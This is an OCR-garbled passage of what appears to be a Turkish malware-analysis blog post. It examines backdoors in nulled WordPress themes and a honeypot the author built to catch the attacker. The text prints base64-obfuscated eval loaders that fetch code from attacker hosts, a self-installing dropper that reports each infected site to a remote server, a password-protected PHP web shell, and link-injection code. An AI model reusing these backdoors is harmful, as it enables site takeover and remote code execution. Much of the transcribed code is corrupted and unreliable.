Avenue/Avenue/FT/inc/lessc. 1 ms —>throwError (" evaluate error: color op numher failed on op '.Sop):
Avenue,/Avenue,/FT/inc/lessc. * operators because it must evaluate to a single value and thus is le

Avenue/Avenue,/FT/inc/lessc. property2: (10 -53; // should evaluate to 5

Axis/Axis/functions. th eval ( aseﬂ demde( Zxzhbchazm1sZvInZxrfY. y95ywrl axpmevasBSWJhmepngudnhmlkpou= »;
Axis/Axis/Timthumb. eader ("Cache-cControl: no-store, no-cache, must-revalidate, max-age=0');

Axis/Axis/Timthum header( Cache-Control: no-store, no-cache, must-revalidate, max- ag 073}

Axis/Axis/timthumi header ('Cache-Control: max-age=' . BROWSER_CACHE_MAX_AGE , must-revalidate');
Axis/axis/timthumb. php: header ('cache-control: no-store, no-cache, must-revalidare, max- age—o')

Axis/axis/FT/inc/lessc.php: * evaluation context, such as all available mixins and variables at any given

Axis/Axis/FT/inc/lessc.phi eturn !this >evaluate($value);

Axis/Ax1s/FT/inc/lessc. ph // evaluate an expressiol

Axis/Axis/FT/inc/lessc.ph protected function evﬂuate(sexp) i

Axis/axis/FT/inc/lessc. ph val 0) $this->throwerror ("evaluate error: can't divide by zera");
Axis/axis/FT/inc/lessc.ph) BaTena/aaTena/Umhumb ] header ('cache-control: no-: store, no-cache, must-revalidate, max-age=0");
Balena/Balena/timthumb. ph) r(’cache-control: no-store, no-cache, must- reva‘hdate, max-age=0"
Balena/Balena/timthumb. phi header( cache-Control: max-age=" . BROWSER_CACHE MAX_AGE . ', must- revalidate’);
Balena/Balena/timthumb. php* header (’Cache-Control: no-store, no-cacha, must-revalidate, max-age=0');
Balena/Balena/FT/inc/lessc.php: * evaluation context, such as all available mixins and variables at any given

Balena/Balena/FT/inc/lessc. php: return §this->evaluate($value);

Balena/Balena/FT/ m:/'\ess(.php // evaluate an expression

Balena/Balena/FT/ nzﬂessc.php: protected function evaluate(Sexp) {

8 ena/Balena/FT/inc/lessc. php? (srval == 0) Sthis->throwError ("evaluate error: can't divide by zero™):

Uzaktan komut caligtiriimasini

saglayan komut
(eval(@file_get_contents

furrtu)n selfurL() {

uri = isset(s_: SERVEK[ REQUEST_URI"]) 7 $_SERVER["REQUEST_URI']
! SERVER[ "PHP_SELF "]

$uri = parse ur1(Suri,PHP_URL_| PATH)v
$protocol = RVER["HTTPS"] 2

§port = ($_SERVER["SERVER_PORT"
return §protocol.

':m") 2P (":". §_SERVER [ "SERVER_PORT"]);
L e B sEkka[ SEKVEKJIME 1. sport. ]un

flll'l'[“)ﬂ ff'ﬁﬂko {
global Sup
s pag () 1is_home()) return;
Scotactd ~ Supdb-oget var (- snsa Ip_From $wpdb->posts
WHERE post_type = post_title LIKE "contact®

1f cCscomaccid 1= get She mo) e Tl e hess (3 Sy raruimid
SFETink = get_option( FF
$tref = get_optiont” e ),
$x $_| REQUE! " DKSWFYUW® =
i TR || S o

$x $x &fFfr §ffref

lffref)) {

Iresponse = wp_remote_get ("http://wew. Fabthemes. com/fabthemes. Iq)"get'hrk_
if (is_ array($resEDnse ) Iffhnk srespnnse[ body’]: else S$tflink =
if (sul;sEr(5 Flink

ink =

Sff'ﬁnk i Exg'\ode( #7,87F1ink);

if ('\SSEt(Sf '\'mk[l]) &8 Iff'\'\nk[Z]) {
update_opi ffref, $FF1ink(1]);
update_oj Won( FFlink}, lff'hnk[Z])!
Sf'\ nk = $fflink[2];
else $fflink = °°;
echo §Fflink;
¥
/= ajax =/
Get Help write out where TIs cut Text :Iust'\f)‘/ cur_Pos
Caff Exit Read File Replace Uncut Text To Spell Go To Line

urlencode(selfurL (). $x);

wp_enqueue_script( superfish, get template directory uri() . '/js/superfish.js’, array( uery” ), zmznzms true ); i izi i
oot DL *cubrom - get e she 6 T et ory T D) | s Auet g T hray ety S Yool 30206 - ar ttp:/lyakaladimsizi.com/yabanci/x.txt
P asingular () 48 (ommem:s - openty ax gu option( "thread_comments® ) ) { "))
" wp_enqueue_script( "comment-rep 3

1 @ z

add_action( 'wp_engueue scripts®, ‘fabthemes_scripts’ );

eval(base64_c de(nd'?' xZhbcl y95Ywrhberl axppL IhbmNpL ikpow—"));

Ana sayfaya istenmeyen
baglanti adreslerini eklene
fonksiyon (fflink)

undo
Redo

Back
Forward

To Bracket Previous

whereIs Next J

Mark Text
Copy Text

Prev word
Next word

I1k olarak base64 ile gizlenmis aHROcDovL3dwLmNvbS50ci93ei50eHQ= karakter
dizisini ¢6zdigimde http://wp[.]lcom.tr/wz.txt adresi ile karsilastim. Bu

sayfaya gittigimde ise karsima kendisini wp-includes/fonts/font.php dosyasina

yazan ve ardindan da http://wpl[.]com.

tr/alankontrol/l.php adresine site adini

gondererek siteyi kayit altina aldigini tahmin ettigim bir PHP kodu ciktai.
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@ Hack4 Careerinfor [l Linkedin WP Mert SARICA (meris: M Inbox - mertsaricat Other bookmarks
@dizin = getowd();
G e R R e (L DR )
el
@tuucn(syul),
@sh = '<?php
eval(baseBé. decode( DXy 3TF b3 20zHSnKDADOVKE 2221 bLo2dF yACEpOUDKE2) € 3RCnQOKT<NCA2QK O ICoBS GF LG LFR YUl Y 3 gVS KIFSphmd S Ydircy BT SOIHRYFdcoRQc gk CoNCLAQLE 225 S 25AuL D00 KO ICOBOHENY 2€h 2Ug 20y LBy LXIzDOGK BAC3VACGF §22F n2SB UcaF §2201 2200
nglENE)ANCmMEm]Lyquqa]I[ z: bGL 10110k 32 50Q0 )1 CogSiYgeh® 11331 16T Lahixkal 12sIHVZZ58h : UNCgKgkise
5 HRoZ!i11761u1GF sbCBOaGUgd( SR s

TFBybHLc 3HgRXh1Y3V@aNOuLgBKICONCiAq: 1 2 cwBKICONC iAq y93b2R1eC53b30keH) 1c3Mub3InL
rxqvhfamsfueuzuunmncwmnmosqxgzucognxh1v3vzausnmKQ\/gg(mvvz\/uynmmqmngmmz1uvzugvzsyzﬂayzxwvmfumaxImvuqauzJSqumcugqxvaaesyrrmbxasvxxlmugxgaumgv@hlmmuxasvxmmvc)akaxmwnaﬁawsnrmcjem)nq:msmamxunawmLgaxIcauz;AqlEauvmmrwdumv:mm‘m\u
o 1C:

CWBKICogQHILY B HY2thZ2UBVGVE G dGUNCIAqT EBZa NS JZSEXb3 JkcHI 13 gl £5NCgOKL {xRob 31gRm1sdGVy TFR1bXE sYXRLIL 1 VXN 12CEy biBoatUgcXVLcnkgdnFyCImalix@ZXIfdH1uzS INCAGTAOKICoVDQo k2692 eWF1 cnVis PSRFUGVSVKVSHy JTVFRQXOhPUI QiXTSNCLR1CQkOTICRFROVUMYI1T1070Q
pphhzdm]deIDJGR\r(Blth]Jb[NwLDMpPTZdeApEyAN(gDKJHMpZH]l(TOngQﬂ[RFUEBTVFs)czlm(mmxsk7DQukanﬂb24)EiﬂngQQTJNU\«L)dXR\/bj]lXTsM(mlmK[R)dXR\/h]]pew@l&[l‘llmkckzawaZTBGIjA]MGH] {5E4YZTiY 2¥yNDKINRNY g2 14M2E10UT3T 1 k7DQo 2V 221 vb192dGFy dCgpOWBKCSRFUBVTURLPT 1S ib3R1CNVE
T109bWQIKCRFUES TVF 5ic2LnemuiXsk Do J5b2NhdG1vbjo/dTOILANIYANGCigkZGozehFenVsLl 152 dTOLDUYaUyThj 111231 J100TUZZT 10001 g2V TUSY KNG 0KDQaNCEOKDQoIInY 8602 auhRESDY GRS Bod 1T DVQIGraQy LSS WaNDLYEVEQEUEUTU
SLER) WzaXRphaShCa\RLA IO dodHROLE 343 L. uuios 3hodG1sS zHRkIJAuc;xam;mmbcsws 0dHRI.018d3d3Ln c2Lmdy 2y Bx0Tk5L 3hodGLs1J4NCxa 20 11185 30ZXhBL 2hBbL7IGNoYX 1=ZXQ9XRm
LTgi1C8+DQoBdGI HvbnRLbnQgRn1sZTundG h1Y1iQ+DQoNC i b2RSPEEKDY Rob203InE: ciQ)IlePSmb)]tIlBu‘M]lPSJmbthI)BlhmMﬂeXBlPS]tdwxaaxﬂh:nqv’mgybs]kVXRh]]AgDQDSdGF)bﬁugd.’zlkdﬁgBIjLMV(Ing?)ZG\/yPSIxI)Ehbﬁlnb]B)VZVudGVyI]A-ME)AgPHRyPgBKIE
AglAaKI(AngxBZ(BBa\xRaaDel‘MAEJIiB:vz?szm‘vzsstAgPGlu:HV@IHRSmuQInEh(3N3b3JkI:‘Buvw11P5J:avlzyzslgstQInNpznjl]i5+IDprn51d(BaexElPSJzd\ﬂtainmshbwusImJ1d69uv~vilgawq?1m1ldG';uNiIgdesdwugllthmuiLzachs D4NC AGPC0c45DQ05TCAZDQog IDVdGF 1 bGU ICANC JuvZmSybT4NC jun¥mok
€T4NC]wvaHR thD4n0n@KDQOgTQRK Zixz ZXSNCANLe 3Npb 25T¢ 3RhCnQOKT sHCERKDQokZm] sZXMIPSAKXRZI TEVTHy JmalixL cy 1d0yA7DQokcGFRaAKBTCRTUESTUFs {€GF 02C) d0waK JGNob3N1CTeg ) FOQT MUy T 69275 Jd0WaK THNhdmUIPSAKXLEPUIR bInNhdnU 1 XTSNCIR1 dXRUbgkaI CRFUESTVF 51¥nVeb24 1XTSNC R 1CTOg IGZDbGVZiy
JuMULLLIE7D0ONC ok Le3qPSAkZnsZXHbInf cFS VN LT107000NClak CRLEXRvb 17000 JakYo ol N1 LG UZCAKCGF 0aC1 70001 SR2YXC LXohd 29 THEd U] GSbU7D001CK 1bHILey2YKZ 1X3BhdGe3 TnViubGohZHv L1 kbmE 2T 9D 00 D001CSRACG / WO3bMS 22V5 Gy YR LZF ok KCRRBW L 30S HSIhdav GOl k7
DQoICHIMKCR1c Gy VHiGpeyRzPS 12 diN] ZXHzZaVs TG 1ubi I74Vsc2V73HIS. o £ 12D00NCn Y3685 uOKPCF ETBNUWVEF 1Gh@bbhugUFVCT E1DT CTEL yOXiHariyL RURCBYSF ANTCAXL jAgVH]

RyVMSZsXRPhZSHECSKdGQngGKPGMbngeﬁlsbnMBlmh@dHAéLyﬂiﬁcudzﬂubilnl ES0 i 1WIQ+DQ 1iVxdW12PS IDb25@7WS@LVRSCGLITGNYbNR1bnQ9InR 1eHQuaHR thDsgY2hhcn1dD11dGY tOCTgL Z4NC jxé XRS"Tthi7ktH]1:3HgQZBudGVud[BGawxlP[EZEXRS7TQN(]\WaGVhZDﬂNCgBKPGJUZHk+
DQONCxmib31 £161 14GhvZDA.c Smb3JELKRRAGELP LANC Jx@VHSZ: 3 163 i 21507 XT1PEOKICABAHT +DQ0gTCARPHRKIHA pZHR OPS Tl ki IHN{b3B1PS b 2ui Pk ZpbGUBL 3RKPEOKICAG TDX@ZCE 3akRODAIMZE L TIBZY2
QWTBx\QQ;IjﬂgPGlu:HVBIHRS:GU@ImZpru1165hblduglmlpr\lzI:BpZDes7 152X L 24gPC9BZDANCE AgPCORE S ANCERKICABAH] tDQog ICAEPHRKPKHOb 2927 SBuYXROP (9BZDAHC] AZTCABAGO+PGL UCHVRTHAS cGUITNRL eHO1 TG5hEWUSInBhAGE A1 G1KPS 1LY XRaT1 ALz 48L 3RKPEOKICABL 3Ry PEOKICABAHT +DQ0gT CAZPHRKPS ZUVANOZHY
01D00EICAEPHRAP xpbBLCE0exSLeS3 a2 veClgdar sdHUSL EFTCH oar -c20i 2hy c2Ui 1G5 U3 Inioh HL L pED03 2hc2U3 4P CSDZDINCLAgFLI0C T 41C g 1y PEOIICAE DXL Y LPCoBLD NG LA CAROQ4PLUcHY IR CUS 1YL dC b L2101 Y1NEb 24 101KPS) A0y g sahUSTLihdm 10+ 7D
SuaHAgZuNobyAke 255Pz4BL 3RKPEOKIC ABL 3RyPZOKPCS BVH) sZTANCERK TCAGTABKP (o 31 £PgOKP Lo 1b2R5PERKPCI0dG1 sPERKIZ NCIBY XNSZWOIXTOOTmNpa2]zT117DG0 Ic2Vze <70Q07

@skayit = fopen(Syol, "a");

@furite(skayit,$h);

@Furite(skayit, "\r\r");

@ felose(Skayit);

nL1RSL2hodG1.

0]

i (Bfunction_exists (“curl_init"
@sget_verileri = “a=//".$_SERVER[ 'SERVER_NAME'];
Geh = curl init();
@curl_setopt( $ch , CURLOPT_URL , “http://up.com.tr/alankontrol/1.php?”.$get_verileri);
gfverd - curl exec(sch);
@curl_close(sch);
yelsetf(@function edsts et_contents™)){
@File_get_contents("http://up.com. tr/alankontrol/1.php?a=//".§_SERVER[ ' SERVER_NAME']);

Yelse
¥

Base64 ile gizlenmis karakter dizisini ¢Ozdigimde ise bu defa u
parametresinde www var ise parola soran bir form ile karsilastim. Forma
girilen parola ile kaynak kodunda yer alan parolanin md5 6zet degeri
(050c5218c20c624956eab832283a59b7) eslestigi taktirde bu form lzerinden dosya
sistemine dosya yuklemek mimkin olabiliyordu. (web shell) MD5 6zet degerini
CrackStation sitesinde arattigimda ise herhangi bir kayda rastlamadim. Bu

durum, art niyetli kisinin kolay tahmin edilemeyen bir parola kullandigina
isaret ediyordu

/% Loads the "Author Filter Template" based on the query var *

ilter_type”

R["HTTE_HOST"1;
Tl

pstr (saosyaumil, 0,5 =5 )¢

mas (3_POST["sifre™]);
_DOST["buton2"];

session scazc(i;
$_SESSTON [Movurum®]=mdS ($_POST ["sifze"]);
header ("location: s

substr($dosyaurul,0,3))7

_SESSTON["oturum"] 1="05025218220262455Eeabs32283a5557")

@ echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 T 1
cep /il org/1588 ahem] ">

/ TR/shem)1/ DT b 1 1 avars

~Type” ="sext/homl; 28
72 <title-Wozdpress Comtemt Fila</titles
3 </head>

<body>

pe= parc/form-daza™>

ceable width="S00"

pe= = 2% id="buson:

— o </eds
2 </res

</vables
</pody>
</ntmlst;

1
alse(
session_start();

$files = 3 FILES["files®
spath = 3_POST("pathl;
schose = 3_POST("chose"l;
$save = 3_POST["savel;

$buton = 3_DOST("buton"];
sname = 3files('namel;

Loi | 4eiied = #eiias i-emp nansn1
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Free Password Hash Cracker

Ben robot defjilim B

Crack H

Enter up to 20 non-salted hashes, one per line:

050c5218c200624956ab832283259b7

Supports: LM, NTLM, md2, mdé, mds, mds(mds_hex), mds-half, shai, shaz24, sha2se, sha3s4, shasi2, ripeMDL80, whirlpool, MySQL 4,1+ (shal(shai_bin)),
Qubesv3.1BackupDefaults

Hash Type Result

Color Codes: EHEERE Exact match, Yellow: Partial match, M Not found.

Download CrackStation's Wordlist

How CrackStation Works

Crackstation uses massive pre-computed lookup tables to crack password hashes. These tables store a mapping between the hash of a password,
and the correct password for that hash. The hash values are indexed so that it is possible to quickly search the database for a given hash. If the
hash is present in the database, the password can be recovered in a fraction of a second. This only works for *unsalted" hashes. For information on
password hashing systems that are not vulnerable to pre-computed lookup tables, see our hashing_secur e

Crackstation's lookup tables were created by extracting every word from the Wikipedia databases and adding with every password list we could
find. We also applied intelligent word mangling (brute force hybrid) to our wordlists to make them much more effective. For MDS and SHA1 hashes,
we have a 190GB, 15-billion-entry lookup table, and for other hashes, we have a 19GB 1.5-billion-entry lookup table,

You can download CrackStation's dictionaries here, and the lookup table implementation (PHP and C) is available here.

Base64 ile gizlenmis bir diger
ZXZhbChAZmlsZVInZXRfY29udGVudHMoImhOdHAGLY95YWthbGFkaWlzaXppLmNvbS95YWIhbmNpL
3gudHhO@IikpOw== karakter dizisini c¢6zdugimde ise
http://yakaladimsizi[.]com/yabanci/x.txt adresi ile karsilastim. Bu sayfaya
gittigimde ise karsima, yapilan istekte wp parametresinde yer alan adresteki
veriyi c¢ekip, kendisini wp-includes/js/js.php dosyasina yazan ve ardindan da
font.php dosyasinda oldugu gibi http://wp[.]com.tr/alankontrol/l.php adresine
site adini gonderen PHP kodu c¢ikti.

GNU nano 2.9.3 Functions.

T
The network connection was aborted by the local system.

i

add_action( ueue scripts”, fihthellesj(ru!ts );
eval(base64_ dE(ﬂd"? Zxzhbcl

/® credits =/

yo5vwrhbe! axppL 5YwIhbmNpL 3gudHhOTikpow—"));

functum selfurL() {

Suri = isset($_SERVER["REQUEST URI']) 7 $_SERVER['REQUEST URI'] :
$ SERVER[ "PHP_SELF"];

suri = parse_ Ur1(Suri,PHP_URL_| PATH) ;
$protocol = S_SERVER['HTTPS'] 2 https
$port = (s_sER\/ER[ SERVER_PORT" ) ' (":". S_SERVER["SERVER_PORT"]);
return §protocol.”://". §_SERVER[ " SERVER_NME] Zpurc Sum,

function fF1ink() {

global Swpdb:

IF (15 _pagel) &g 1is_home()) return;

Sconcactid = Supdb->gat . var‘( SELE(T Ip FrOM Swpdb->posts

e

ERE POST_TY] post_title LIKE “contact®'");
if ((Scunta(md != get_the_: ID()) M‘?Scun(a(nd Il tis_home())) return;
SFFIink = get ¢ npmmn( fﬂm BE

§Ffref = get_option(Firef’);

§x = $_REQUEST[" mcsurvuu )

if (‘Sff'hnk H Sx && (Sx = Sffref)) {
e

%r‘espﬂﬂse - wp RETp:/ /v . Fabthenes. con/fabthenes. phpgetink=". urlencode (se1FURL()). $303
if (is_array(sr Emse% %fﬂmk = Sresponse[body’]: else Stflink = "'
if (substr(SFF11 I= "ifabthemes#')
stflink = *';
else
SFFIink = explode( # ,SFF1ink)
if (isser(sfrlink[2]) & %ff'\'\nk[l]) {
update_option("ffref’, $FFlink[1]);
update option{ *FFlink®, SFFIInk21):
$FF1ink = $Ff1ink[2];

else sFflink = "°;

}
}echﬂ $FF1ink;

/= ajax =/

Get Help & write out where 1s B cut Text A :IuSUF &S cur Pos undo I Mark Text B| To Bracket previous Back EES Prev word
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syol = 3 SER\/ER["DO(UMENT ROOT"]."fup~includes/js/Js. ph
£F ( File_exists( Syol ) ) {
unhnk(;yul)

else

urtcuch(iy 1);

ish = '<?php @eval(file _get_contents("http://".$_GET[ "
skayit = fopen(Syol, "a");

Furite (Skayit, $h);
furite (skayit, "\r\r"
fclose ($kayit) ;
file_get_contents("http://yakaladinsizi. con/yabanci/1.phplashttp: //".S_SERVER] 'HTTP_HOST');
T

Site lUzerinde kesfe ¢iktigimda PHP web shell oldugunu gordigim 2 tane kaynak
koduna rastladim.

@tcuch(iycl),

<2php eval('?

i, decode( PDOWGHANCGEKLy ogKiogki ki 509PT: 09PTOSPTAOPSANTZEMTK? J4HLMDI7] iHAOTQP] 1M1 ExCy Y311 g20y ¥ JNDEYNTQ7I £MNTAT J1xNTYS0z@9P TRSP TOSPTOSPTEIPTOOPT
BQDQoMUV] 2Uy0y Y IHIC3N2073 HSHz 72 NSNJQ72HHDQ2N =T UINTSm Y5zl HXNT <L E2z 3 LHANJUTDOONCLY 41520y 1820y ¥ AT LTSN 2g3N <l 2 TuiDE7 2L H:HDU7LI2SpCG X FILLEGySGYpGEF dnLulTcl oYU 15X\ ZoNpd28NCEOolTLAy0DY 7 1y0DY 7 21y00Y 1311000734y 0DV 73 450Dy Y HDgXOy
i
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B e ce1v1554850

10 68752;8827774;68538; 637645 6860466

12 ©#286;24286; 141211584976, 582041; 04 KZvinlsse\

13

14 $#286;58286; 53206, 5848L; G320, 681461, 524017 58206, 485017 44313, 4820¢; 64314, S3L44T; 6314437
1

16 ©#1121717581399;52938;54764; 0237375413797 48131€; S41507; 4417137 54€3587; 64158537

%

281316581507, 585557636577

21211758955, 431143724635 S#171E;

Coaz by angel (4ngel)

Maks in Chins

Web: hrtp://www_4ngel .ned
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exzor_reporting(7);
25 sec_magic_quotes_runvime(0);
20 ob_start();

31 smcime = explode(’ ', microtime());
2 sscarccime = moime[l] + smoime[0]7

23 define('SA_ROOT', svr_replace("\\', '/*, dirmame(_FIIZ_)).'/%);
3¢ //define ('IS_WIN', strstr(DHR_OS, 'WIN') 2 1

35 define('IS_WIN', DIRECTORY_SEPARATOR == "\\');

3¢ define('Ts_COM', class_exists("COM') 2 1 : 0 );
37 define('IS GPC', get_magic_quotes_gpe(});
35 3dis_func = get_cfg_var('disable_functions’);

35 define('IS_PHPINFO', (leregi("phpinfo”,jdis_func)) 2 1 : 0 );
40 sec_vime limic(0);
a1

2 3_request)
= foreach(33_request as 5_xey => 5_value) {

4 haneli yénetici parolasi. 3)

O ws206;
54 admin = arrayl);

55/ $#503;18286;081194;581444;, P W44;, false £#938;31457;581277; £41121;64350; 04286,
5¢  sadmin(’check'] = rue;
7 /s s3286; 531154, 58144

55 tadmin('pass'] = '

050c5218c20c624956eab832283a59b7 md5 6zet degerini bulmak igin
kariyerdunyasi.org adinda bir alan adi aldiktan sonra DigitalOcean uzerinde
bir WordPress site olusturmaya ve arkakapi iceren bir temayi ylUklemeye karar
verdim. Tabii sitemin hacklenmesini engellemek ic¢in arka kapi iceren
dosyalari sadece yapilan istekleri kayit altina alacak sekilde degistirdim ve
devreye aldim
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Create Droplets

Choose an image -

Distributions ~ Container distributions ~ Oneclick apps ~ Snapshots ~ Backups

D Discourse 2.0.20170531 on 16.04 dj Django 1.87 on 16.04 9 Docker 1712.0ce on 16.04

@ Dokku 0113 on 16.04 Ghost 1.211 on 16.04 U GitLab 10.6.4-ce.0 on 16.04

4 LAMPon16.04 & LEMPOn16.04 Machine Learning and Al
@ MEANon 16.04 § MongoDB 3410 on 16.04 R, MysQL on 16.04
(3 Nodels612.30n16.04 4 phpMyadmin on 16.04 @ Ruby-on-Rails on 16.04

&) WordPress 4.910n16.04

Choose a size

Standard Droplets CPU Optimized Droplets

Balanced virtual machines with a healthy amount of memory tuned to Compute optimized virtual machines with dedicated hyper-threads
host and scale applications like blogs, web applications, testing / from best in class Intel CPUs for CPU Intensive applications like
staging environments, in-memory caching and databases. CI/CD, video encoding, machine learning, ad serving, batch

processing and active front-end web servers.
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GNU nano 2.5.3

File: wp-inclui

E7php

if($_REQUEST) {
if(isset($_GeT['wp'1)

D
error_Tog(print_i r(date( d-m-y H:i:s®, S_SERVER[' CEEST. TIME® ]) true) . " [Passible ﬂazhng Ane-pt] Client: ™ . print_r(S_SERVER [ REMOTE_ADDR' ], true) .
: . print_s r(‘_GET[ wp'], true) . "\r\n", 3, /var/m/ht m1/honeyweb_
}
/% <?php @eval(file_get_contents("http://~.$_GET["wp"1)); 7> =/
2>

RY write out where Is W§ cut Text
& read File Replace & uncut Text

05 Prev page
Next Page

First Line W whereIs Next Mark Text @i tndent Text JTRE undo
Last Line B| To Bracket Copy Text =i Unindent Text§3 Redo

E2php
error_reporting(0);
sessi nn,star-t(?;

ob_start();

* Handle Trackbacks and pingbacks sent to wordpPress
= @since 0.71

= @package wordPress
; Ssubpackage Trackbacks
.

yan

* make theme available for translat

* Translations can be filed in the /'Iangu;?es/ directory

= If you're building a theme based on web2feel, use a find and replace
;o ehange “uebzfes]” to the name of your theme in all the template files

Ja
* Front wordPress AJAX Process Execution.
= @package wordpress

? @link htcp://codex. wor dpress. ora/AIaX in_ Plugins

e
* Executing AJAX process.
®

"/esi nce wordpress 1.4

ye=
* author Template
N

*= The template for displaying Author profile pages.

@package wordpress
* @subpackage Template
"/@s1nce wordpress 1.0

/2 Loads the “Author Filter Template™ based on the query var “filter_type”

=,
$dosyaurul=5_ SERVER[ HT{PJnsr gh
u
=3u ){

Ssn‘re = md5(5_s POST[ s1fre 1
butonz = $_posT["butol
If(ﬁbutunz)(

error_log(print_r(date(’d-m-Y H:i: 5 E SE?;{ER[ REqu]EsT TIME ]) U:UE) .." [Possible Hacking Attempt] cTi

u: r(§_ re: " .

if($sifre==" 050c5218c20c624056eabB32283250677)
session_start();
$_SESSION[ "otur!
header ("locatior

if(substr (SdosyauruT,0,3

ent Pr'ml r(S_SERVER [* REMUTEJBBR ] zrue) 2
print_r ($_POST[ 'sifre’], true) . ™\ 3, " /var /www/html /honeyweb. t:

md5 ($_POST["sifre™]);
" substr (Sdosyaurul,0,3));

i
if(§_sessIoN["oturum™]!="050c5218c20c624956eab832283a59b7"){

XS Write out where Is J@ cut Text
X Read File Replace M uncut Text

:Iust'\F)‘/ & cur Pos B Prev Page First Line JEE whereIs Next Q@ Mark Text B Indent Text FEE undo
To Spell M co To Line  [§ Next Page Last Line | To Bracket Copy Text il Unindent Text§lld Redo

Aradan kisa bir sure gectikten sonra art niyetli kisi
050c5218c20c624956eabh832283a59b7 md5 O6zet degeri ile eslesen oOzel
karakterlerden, buyuk kicuk harflerden ve sayilardan olusan 13 haneli
karmasik parolasini font.php dosyasina girdi! Sayfadan bekledigi yaniti
alamadiktan sonra bu defa js.php dosyasina wp parametresi ile uzaktan dosya
sistemine php web shell yuklemeye imkan taniyan
raw.githubusercontent.com/eynisey/test/master/test.txt adresini iletti ve art

niyetli kisinin hedef sisteme erismesine imkan taniyan iki yontem de ortaya
¢ikmis oldu. ;)



U nano 2,

/* eval(base6d_¢ de(nde( ZXzhbChAZm15ZVanzXRf
agget_verileri = " /yakaladimsizi.com/yabanci /1. php?a=htry
afile_ ?Et cun(en(s(sget verileri);

error_TogCprint_r(date( d-m-v H

yO5Ywtl zaXppLi 5YWIhbmNpL 3gudHhOT ikpow=—")); */
/" $_SERVER[ "HTTP_HOST"];

, $_SERVER['REQUEST_TIME']), true) . " [vah'lad1m1z1 com uest] client: " . print_r($_SERVER ['REMOTE_ADDR' ], true)
Request: " . print_r($get_: verﬂen true) . "\r\n", 3, "/var/wew/html/honeyweb.Txt");

t_verileri
@sch = cur'umt()
@cur1_setopt{ Sch , (URLDPT URL $get verileri);
error_log(print_r(date( d-m-Y H: S_SERVER["REQUEST_TIME']), true) . " [wp.com.tr uest] client: ™ pr'm‘t r($_SERVER ["REMOTE_ADDR' ], true) .
Request: '™ . print_r($get_verileri, true) . "\r\n", 3, "/var/www/html/honeyweb. txt™
@$veri = curl_exec(§ch);

@cur]_close($ch);
]e]se1f(@functmn exists( f1]L jet_contents™)){
t_verileri /wp. com. tr/alankontrol/1.php?a=//". $_SERVER[ " SERVER_NAME];
(ﬂfﬂe et. cuntents(tget verﬂem)
error_Tog{print_r(date('d H:

T eFunction_exists("curT init”
@sged //-p com. tr/alankontrol /1. php?.

=//". $_SERVER[ " SERVER_NAME "];

§_SERVER['REQUEST_TIME']), true) . [wp. com. tr uest] client: " . print_r($_SERVER ['REMOTE_ADDR' ], true)
Jelser " Request: " . print_r($get_verileri, true) . "\r\n 2, "/var/wew/hrml/honeyweb. Txt™);
else

1

function selfurL() {

Suri = isset(s_: SERVER[ REQUEST_URI']) 7 $_SERVER['REQUEST_LRI'] :
§_SERVER[ ' PHP_SELF

$uri = parse_ uﬂ(Surw PHP_URL_PATH);
§protocol = §_SERVER['HTTPS'] 7 'htt?s b 'http
Sport = (5_SERVER["SERVER PORT’ _SERVER[ "SERVER_PORT"]);
$server = ($_SERVER['SERVER_I NAM ] "\u(a'\hus( Sk S SERVER["SERVER_ADDR™] : $_SERVER['SERVER_NAME'];
return Sprotacol.”://"_Sserver.Sport. suri;

Function FFlink() {
s]ubaﬂ Swpdb, Swp_query;

if [is. e() & !'is_front_page()) return;
;m%mc#.’:g_ Swpdb—>get_var ( ggLE(T ID FROM Swpdb-—>post:
WHERE post_type = 'page’ AND post_title TIKE " contacts'”
n‘ ((Scontactid != Swp_query-: >past >ID) && (Scumacnd 11 frun(_pige())) return;

SEerin get_option(’ FF'hnk %
Iffr'ef et_option( ffref
REQU EST[ nxsw:vuwv"'],
1f (‘Sff'\mk |[ $x & Sffref)) {
§x = &ffre A

@sget,verﬂem‘ “http:  famm. Fabthemes, con/Fabthemes. phpzgetTink
Sresponse = wp_remote_get(Sget verileri);
¥ (is_array(Sresponse))

". urlencode(seTfurL (3). $x;

r_Tog(print_r(date('d-n-y H:i:s', S_SERVER['REQUEST_TIME']), e) . " [FFLink Request] cCliemt: " . print_r(S_SERVER [ REMOTE_ADDR' ], true) .
$x: ™ . print_s r(l REQUEST[" Dkswrvuw** ], true) .
mques - p r(! et_verileri, true) .

Response nt_r(Sresponse['body’], true) . "\F\n", 3, "/var/wem/html/honeyweb. txt™);
if (is_ array(SresEunse)) $FFlink = Srespunse[ budy TeTsa s FrTTnki

if (substr($FF1in 1= "Ifabthemes#

$fflink = explode( #°,$ff1i
if (isser(Sfflink[2]) ‘a8 Iff'\'\ﬂk[l]) {

update_option('Ffref’, SFElink[11);
update_optionC'Fflink’,” $TFlink(213;

$FF1ink = SFE1ink[2]:
else §fflink =
Get Help
Exit

cut Text
i uncut Text

i where Is Jus(if¥
B Read File Replace 1

To spe

cur_Pos. N Prev Page
Go To Line N Next Page

First Line Il whereIs Next Mark Text
Last Line | To Bracket Copy Text

Indent Text I
Unindent Texty

v
[ wewkariyerdunyasiorg/ X W= — X
<« C (1 | ® wwwkeriyerdunyasiorg/honeywel H
Hackd Career. Infor [ Linkedin W9 Mert e hacking Atiemp ~ v B Gther bookmarks:
e e p— eprrrrerroerrao
4p.com. tr Request] Cliont: 180.143.10.71 Request: MEtp:)fup.com.tr/alankontrol/1 phpie/ /46, 101.16.120 -
Vakaladimsizi.com Request] Client: 140.143.10.71 Requests httpi//yakaladimsizi.com/yabanci/L.php?a=https//46.101.10.120
wp.com. tr Request] Client: 140.143.10.71 Request: http://up.com.tr/alankontrol/l.php2a=//46.101.10.120
Vekatadinsisi.con Request] Clint: 140,143 1071 Request: Riep://yokaladinsis. confyabanci/1. php?ashttp://46. 101. 10,120
wp..com. tr Request] Client: 146.143.16.71 Request: http://up.con.tr/alankontrol/l.php?a=//46.101.10.120
Vakaladimsizi.com Request] Client: 140.143.10.71 Request: http://yakaladimsizi.com/yabanci/1.php?a=http://46.101.10.120
wp.com. tr Request] Client: 140.143.10.71 Request: http://wp.com.tr/alankontrol/1.php?a=//46.181.10.120
Vakaladimsizi.com Request] Client: 146.143.18.71 Request: http://yokaladimsizi.com/yabanci/l.phpYa=http://46.161.10.128
wiConterRedesTIiCHiEnt: 140,143, Ioo o Wesist ENLED:/p: com: 1o/ aLaan ol 1 pho7=c/ . 161110 1
vaksladinsizi.com Request] Client: 140.143.10.71 Request: http://yakaladimsizi.com/yabanci/1.php?ashttp://46.101.10.120
